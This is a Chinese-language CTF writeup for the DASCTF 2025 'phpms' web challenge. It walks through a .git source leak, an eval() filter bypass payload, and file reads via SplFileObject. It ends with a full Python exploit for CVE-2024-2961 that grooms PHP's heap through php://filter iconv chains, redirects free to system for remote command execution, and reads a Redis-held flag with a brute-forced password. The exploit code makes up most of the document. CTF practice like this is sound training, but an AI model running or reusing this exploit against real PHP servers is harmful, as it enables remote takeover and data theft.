DASCTF 2025上半年赛-web1 phpms Writeup

发布于:2025-06-26 ⋅ 阅读:(20) ⋅ 点赞:(0)

DASCTF 2025上半年赛-web1 phpms Writeup

信息收集

  • 使用 dirsearch 扫描,发现 .git 泄露。
    在这里插入图片描述- 利用 Git_Extract 工具拉取源码,发现有历史提交记录,源码被暴露。

源码分析

源码如下:

<?php
$shell = $_GET['shell'];
if(preg_match('/\x0a|\x0d/',$shell)){
    echo ':(';
}else{
    eval("#$shell");
}
  • 发现对 shell 参数做了换行过滤,但可以用闭合方式绕过:?shell=?><?php echo 1;

文件读取

  • 由于禁用了大量函数,选择用 PHP 原生类 SplFileObject 进行文件读取。

    ?><?php $f=new SplFileObject('/etc/passwd'); while(!$f->eof())echo $f->fgets();
    
  • 读取 /proc/self/maps,发现 libc 版本为 libc-2.31.so,用 curl 下载到本地。

利用 CVE-2024-2961(CN-EXT)

  • 根据提示,利用 CN-EXT(CVE-2024-2961)漏洞,成功实现 RCE,脚本附下文exp.py
  • 贴上 exp.py 利用脚本(见下方)。

Redis 利用

  • 使用 find / -perm -4000 -type f 2>/dev/null 未找到提权点。

  • 查看 /etc/passwd,发现有 redis 用户。

  • 猜测 Redis 有东西,尝试 echo "info" | redis-cli > /tmp/2.txt,发现需要密码。

  • 爆破得到密码 admin123

  • 执行 echo "auth admin123\nkeys *\nget flag" | redis-cli > /tmp/2.txt,成功拿到 flag。

    在这里插入图片描述

exp.py 脚本,根据师傅kjdfklha的exp改的

from __future__ import annotations

import base64
import zlib
from dataclasses import dataclass

from pwn import *
from ten import *
from urllib.parse import urlencode

HEAP_SIZE = 2 * 1024 * 1024
BUG = "峛".encode("utf-8") # 这个地方不知道为什么,我改成六都能生效
PAD: int = 20

class Remote:
    def __init__(self, url: str) -> None:
        self.url = url
        self.session = Session()

    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        # 拼接参数到URL后面

        params = urlencode({"shell": path})
        url_with_params = f"{self.url}?{params}"
        return self.session.get(url_with_params)

    def download(self, path: str) -> bytes:
        path = f"?><?php $f=new SplFileObject('{path}'); while(!$f->eof())echo $f->fgets();"
        response = self.send(path)
        if not response or not response.content:
            raise RuntimeError("Failed to download file or empty response")
        return response.content

@dataclass
class Region:
    """A memory region."""

    start: int
    stop: int
    permissions: str
    path: str

    @property
    def size(self) -> int:
        return self.stop - self.start

def get_regions(target: Remote, path: str) -> list[Region]:
    """通过查询 /proc/self/maps 获取 PHP 进程的内存区域。"""
    maps = target.download(path)
    maps = maps.decode()

    PATTERN = re.compile(
        r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
    )
    regions = []
    for region in table.split(maps, strip=True):
        if match := PATTERN.match(region):
            start = int(match.group(1), 16)
            stop = int(match.group(2), 16)
            permissions = match.group(3)
            path = match.group(4)
            if "/" in path or "[" in path:
                path = path.rsplit(" ", 1)[-1]
            else:
                path = ""
            current = Region(start, stop, permissions, path)
            regions.append(current)
        else:
            print(maps)
            failure("Unable to parse memory mappings")

    log.info(f"Got {len(regions)} memory regions")

    return regions

def find_main_heap(regions: list[Region]) -> Region:
    # 任何大小大于基本堆大小的匿名 RW 区域都是候选区域。
    # 堆位于区域的底部。
    heaps = [
        region.stop - HEAP_SIZE + 0x40
        for region in reversed(regions)
        if region.permissions == "rw-p"
        and region.size >= HEAP_SIZE
        and region.stop & (HEAP_SIZE-1) == 0
        and region.path == ""
    ]

    if not heaps:
        failure("无法在内存中找到 PHP 的主堆")

    first = heaps[0]

    if len(heaps) > 1:
        heaps = ", ".join(map(hex, heaps))
        msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
    else:
        msg_info(f"Using [i]{hex(first)}[/] as heap")

    return first

def _get_region(regions: list[Region], *names: str) -> Region:
    """返回第一个名称与给定名称之一匹配的区域。"""
    for region in regions:
        if any(name in region.path for name in names):
            break
    else:
        failure("Unable to locate region")
    return region

def build_exploit_path(target: Remote, path: str, command: str) -> str:
    LIBC = ELF("./libc-2.31.so", checksec=False)
    regions = get_regions(target, path)
    libc = _get_region(regions, "libc-", "libc.so")
    LIBC.address = libc.start
    ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
    ADDR_EFREE = LIBC.symbols["__libc_system"]
    ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

    ADDR_HEAP = find_main_heap(regions)
    ADDR_FREE_SLOT = ADDR_HEAP + 0x20
    ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

    ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

    CS = 0x100

    pad_size = CS - 0x18
    pad = b"\x00" * pad_size
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = chunked_chunk(pad, len(pad) + 6)
    pad = compressed_bucket(pad)

    step1_size = 1
    step1 = b"\x00" * step1_size
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1)
    step1 = chunked_chunk(step1, CS)
    step1 = compressed_bucket(step1)

    step2_size = 0x48
    step2 = b"\x00" * (step2_size + 8)
    step2 = chunked_chunk(step2, CS)
    step2 = chunked_chunk(step2)
    step2 = compressed_bucket(step2)

    step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
    step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
    step2_write_ptr = chunked_chunk(step2_write_ptr)
    step2_write_ptr = compressed_bucket(step2_write_ptr)

    step3_size = CS

    step3 = b"\x00" * step3_size
    assert len(step3) == CS
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = chunked_chunk(step3)
    step3 = compressed_bucket(step3)

    step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
    assert len(step3_overflow) == CS
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = chunked_chunk(step3_overflow)
    step3_overflow = compressed_bucket(step3_overflow)

    step4_size = CS
    step4 = b"=00" + b"\x00" * (step4_size - 1)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = chunked_chunk(step4)
    step4 = compressed_bucket(step4)


    step4_pwn = ptr_bucket(
        0x200000,
        0,
        # free_slot
        0,
        0,
        ADDR_CUSTOM_HEAP,  # 0x18
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        ADDR_HEAP,  # 0x140
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        0,
        size=CS,
    )

    step4_custom_heap = ptr_bucket(
        ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
    )

    step4_use_custom_heap_size = 0x140

    #COMMAND = f"kill -9 $PPID; {COMMAND}"
    COMMAND = command.encode() + b"\x00"

    assert (
        len(COMMAND) <= step4_use_custom_heap_size
    ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
    COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

    step4_use_custom_heap = COMMAND
    step4_use_custom_heap = qpe(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
    step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

    pages = (
        step4 * 3
        + step4_pwn
        + step4_custom_heap
        + step4_use_custom_heap
        + step3_overflow
        + pad * PAD
        + step1 * 3
        + step2_write_ptr
        + step2 * 2
    )

    resource = compress(compress(pages))
    resource = b64(resource)
    resource = f"data:text/plain;base64,{resource.decode()}"

    filters = [
        # Create buckets
        "zlib.inflate",
        "zlib.inflate",
        
        # Step 0: Setup heap
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 1: Reverse FL order
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 2: Put fake pointer and make FL order back to normal
        "dechunk",
        "convert.iconv.latin1.latin1",
        
        # Step 3: Trigger overflow
        "dechunk",
        "convert.iconv.UTF-8.ISO-2022-CN-EXT",
        
        # Step 4: Allocate at arbitrary address and change zend_mm_heap
        "convert.quoted-printable-decode",
        "convert.iconv.latin1.latin1",
    ]
    filters = "|".join(filters)
    path = f"?><?php $f=new SplFileObject('php://filter/read={filters}/resource={resource}'); $f->fgetc();"

    return path

def compress(data) -> bytes:
    return zlib.compress(data, 9)[2:-4]


def b64(data: bytes, misalign=True) -> bytes:
    payload = base64.encode(data)
    if not misalign and payload.endswith("="):
        raise ValueError(f"Misaligned: {data}")
    return payload.encode()


def qpe(data: bytes) -> bytes:
    return "".join(f"={x:02x}" for x in data).upper().encode()


def ptr_bucket(*ptrs, size=None) -> bytes:
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)

    return bucket

def chunked_chunk(data: bytes, size: int = None) -> bytes:
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

def compressed_bucket(data: bytes) -> bytes:
    return chunked_chunk(data, 0x8000)



if __name__=="__main__":
    url='http://79ff934f-2437-4812-bb14-ad480373ddb7.node5.buuoj.cn:81/index.php'
    target=Remote(url)
    target.send(build_exploit_path(target, '/proc/self/maps', 'echo "auth admin123\nkeys *\nget flag" | redis-cli > /tmp/2.txt'))
    # 读取/tmp/2.txt
    content = target.download('/tmp/2.txt')
    print(">\n")
    print(content.decode('utf-8'))

总结

  1. Git 泄露 -> 源码分析 -> 绕过 eval 过滤。
  2. 原生类文件读取 -> 泄露 libc -> 利用 CN-EXT 漏洞 RCE。
  3. Redis 爆破密码 -> 拿到 flag。

网站公告

今日签到

点亮在社区的每一天
去签到